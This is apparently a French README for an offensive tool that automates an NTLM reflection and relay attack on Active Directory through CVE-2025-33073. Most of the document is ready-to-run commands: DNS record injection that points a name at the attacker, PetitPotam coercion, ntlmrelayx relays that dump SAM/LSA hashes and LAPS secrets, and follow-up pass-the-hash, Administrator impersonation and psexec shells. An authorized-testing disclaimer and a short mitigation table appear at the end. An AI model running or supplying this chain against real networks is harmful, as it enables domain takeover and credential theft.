
cupntlm
CVE-2025-33073 — Contournement de réflexion NTLM via coercition DNS Outil d'exploitation automatisé pour les environnements Active Directory.
cupntlm automatise la chaîne d'attaque par réflexion/relais NTLM exploitant CVE-2025-33073. Il combine l'injection d'enregistrements DNS, la coercition d'authentification forcée (PetitPotam) et le relais NTLM en un seul workflow. L'outil prend en charge deux modes opérationnels selon la portée et les exigences de furtivité.
Attaquant Contrôleur de domaine Hôte cible
│ │ │
│── 1. Injecte enregistrement DNS ────────▶│ │
│ (IP attaquant comme cible) │ │
│ │ │
│── 2. Coercition auth (PetitPotam) ────────────────────────────▶│
│ │ │
│◀─ 3. Auth NTLM renvoyée ─────────────────────────────────────│
│ │ │
│── 4. Relais vers DC ────────────────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. Shell / secretsdump / etc. │ │
Prérequis sur le réseau cible :
| Bibliothèque | Installation |
|---|---|
impacket | pip3 install impacket --break-system-packages |
colorama | pip3 install colorama --break-system-packages |
dnspython |
exploit/
├── cupntlm.py
├── ntlmrelayx.py # depuis impacket
├── dnstool.py # depuis krbrelayx
├── lib/ # bibliothèque de support krbrelayx
└── PetitPotam.py
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
Vérifie l'état de la signature SMB sur les cibles et valide les identifiants de domaine avant toute tentative.
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
Crée un enregistrement DNS unique pour chaque cible, déclenche la coercition une par une, et nettoie les enregistrements entre les itérations. Plus lent mais plus précis et moins bruyant.
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
Injecte un seul enregistrement DNS et maintient ntlmrelayx exécuté en continu tout en itérant sur toutes les cibles. Plus rapide pour les grands périmètres.
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
192.168.1.10
192.168.1.11
192.168.1.12
Les étapes suivantes reproduisent manuellement la chaîne d'attaque complète sans utiliser cupntlm.py. Utile pour comprendre les primitives, déboguer ou s'adapter à des environnements non standard.
Identifiez les hôtes où la signature SMB est désactivée. Ce sont vos cibles valides pour le relais.
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
Ou avec nmap :
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
Cherchez :
Message signing enabled but not required ← cible de relais valide
Message signing enabled and required ← impossible de relayer ici
Utilisez dnstool.py pour ajouter un enregistrement A dans le DNS du domaine pointant un nom d'hôte vers votre machine. Lorsqu'une cible résout ce nom et s'authentifie, la requête atterrit sur votre écouteur de relais.
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # votre IP attaquant
--type A \
10.0.0.1 # IP du DC
Vérifiez que l'enregistrement a été ajouté :
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
Lancez ntlmrelayx.py avant de déclencher la coercition. Il restera en attente d'une authentification entrante.
Relais vers SMB — extraction SAM/LSA :
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
Relais vers LDAP — création d'un nouveau compte machine (pour RBCD / shadow credentials) :
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
Relais vers LDAPS — extraction des secrets du domaine :
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
Déclenchez la machine cible pour qu'elle s'authentifie sortante vers votre enregistrement DNS injecté. PetitPotam abuse de l'interface MS-EFSRPC — aucun identifiant requis sur les hôtes non patchés, ou utilisez des identifiants valides pour ceux qui le sont.
Non authentifié (cible non patchée) :
python3 PetitPotam.py \
[dnsname] \ # IP de votre écouteur (correspond à l'enregistrement DNS)
192.168.1.50 # hôte cible à coerciter
Authentifié (cible patchée, identifiants valides requis) :
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
À ce stade, l'hôte coercité envoie son authentification NTLM vers votre machine → ntlmrelayx l'attrape et la relaie.
En fonction de la cible de relais choisie à l'étape 3 :
<hostname>_samhashes.txt / _lsahashes.txtgetST.py pour un ticket de serviceSupprimez toujours les enregistrements DNS injectés après l'engagement.
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
Pass-the-hash avec un compte machine relayé :
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
Obtenir un ticket de service pour S4U2Self (après RBCD) :
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
Utiliser le ticket :
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
| Mesure de sécurité | Effet |
|---|
Cet outil est destiné uniquement aux tests d'intrusion autorisés et à la recherche en sécurité.
Ne pas utiliser contre des systèmes pour lesquels vous n'avez pas d'autorisation écrite explicite.
| Outil | But |
|---|
python3 | Exécution |
pip3 | Gestionnaire de paquets Python |
git | Clonage des dépendances |
wget | Téléchargement de fichiers |
nmap | Énumération de la signature SMB |
netexec / crackmapexec | Vérification signature SMB (optionnel) |
pip3 install dnspython --break-system-packages| Activer la signature SMB (obligatoire) sur tous les hôtes | Casse le relais vers SMB |
| Activer la signature LDAP + liaison de canal | Casse le relais vers LDAP/LDAPS |
| Patcher MS-EFSRPC (KB5005413) | Bloque PetitPotam non authentifié |
| Restreindre la création d'enregistrements DNS aux administrateurs | Bloque l'étape d'injection DNS |
| Désactiver l'authentification réseau NTLM (préférer Kerberos) | Élimine toute la classe d'attaque |